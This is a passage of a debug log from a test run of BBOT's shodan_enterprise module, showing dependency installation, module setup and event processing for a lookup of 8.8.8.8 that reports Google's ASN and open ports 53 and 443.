"ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 17:04:23,851 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 17:04:23,852 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 17:04:23,857 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:04:23,857 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 17:04:23,858 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 17:04:23,858 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 17:04:23,862 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9db9lltrh5r9qxzvdo7k -2026-03-01 17:04:24,644 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 17:04:24,645 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 17:04:24,646 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:04:24,647 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 17:04:24,648 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 17:04:24,768 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 17:04:24,768 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 17:04:24,768 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 17:04:24,770 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 17:04:24,770 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 17:04:24,771 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 17:04:24,771 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 17:04:24,771 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 17:04:24,772 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 17:04:24,772 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 17:04:24,773 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 17:04:24,774 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 17:04:24,775 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 17:04:24,775 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 17:04:24,776 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 17:04:24,776 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 17:04:24,777 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 17:04:24,777 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 17:04:24,778 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 17:04:24,778 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 17:04:24,779 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 17:04:24,779 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 17:04:24,780 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 17:04:24,780 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 17:04:24,919 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_rfwduknp6k -2026-03-01 17:04:24,920 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 17:04:25,027 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 17:04:25,041 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 17:04:25,042 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 17:04:25,045 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 17:04:25,145 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:04:25,146 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-01 17:04:25,148 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-01 17:04:25,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:04:25,150 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:04:25,151 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-01 17:04:25,153 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:04:25,154 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:04:25,155 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,155 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 17:04:25,156 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:04:25,157 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 17:04:25,163 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,163 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 17:04:25,164 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,165 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,165 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-01 17:04:25,165 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-03-01 17:04:25,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-01 17:04:25,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 17:04:25,167 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-03-01 17:04:25,284 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 17:04:25,285 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:ef2c848803efbcfa695742450c9e4a3f1947afc0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:04:25,285 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-03-01 17:04:25,286 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-03-01 17:04:25,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:04:25,287 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:04:25,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:04:25,290 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:04:25,291 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:04:25,291 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:04:25,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,293 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,294 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:04:25,295 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:04:25,296 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 17:04:25,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:04:25,300 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,302 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:04:25,304 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,305 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,305 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:04:25,306 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,306 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,307 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:04:25,307 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:04:25,387 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 17:04:25,388 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:04:25,389 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:04:25,390 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,391 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 17:04:25,391 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:04:25,392 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 17:04:25,392 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 17:04:25,393 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 17:04:25,393 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 17:04:25,394 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 17:04:25,394 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 17:04:25,395 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 17:04:25,395 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 17:04:25,495 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 17:04:25,496 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 17:04:25,515 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 17:04:25,516 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 17:04:25,517 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 17:04:25,525 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 17:04:25,525 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 17:04:25,526 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 17:04:25,527 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 17:04:25,528 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 17:04:25,529 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 17:04:25,646 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_rfwduknp6k completed in 0 seconds with status FINISHED -2026-03-01 17:04:25,646 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 17:04:25,647 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:04:25,648 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events -2026-03-01 17:04:25,649 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 17:04:25,649 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] -2026-03-01 17:04:25,649 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected -2026-03-01 17:04:25,649 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] -2026-03-01 17:04:25,649 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected -2026-03-01 17:04:25,650 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events -2026-03-01 17:04:25,650 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} -2026-03-01 17:04:25,650 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 17:04:25,650 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 17:06:19,887 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 17:06:19,897 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 17:06:19,898 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 17:06:19,899 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 17:06:19,900 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 17:06:19,901 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 17:06:19,902 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 17:06:19,903 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 17:06:19,904 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 17:06:19,905 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 17:06:19,905 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 17:06:19,906 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 17:06:19,907 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 17:06:19,908 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 17:06:19,909 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 17:06:19,909 [DEBUG] bbot.module_loader modules.py:152 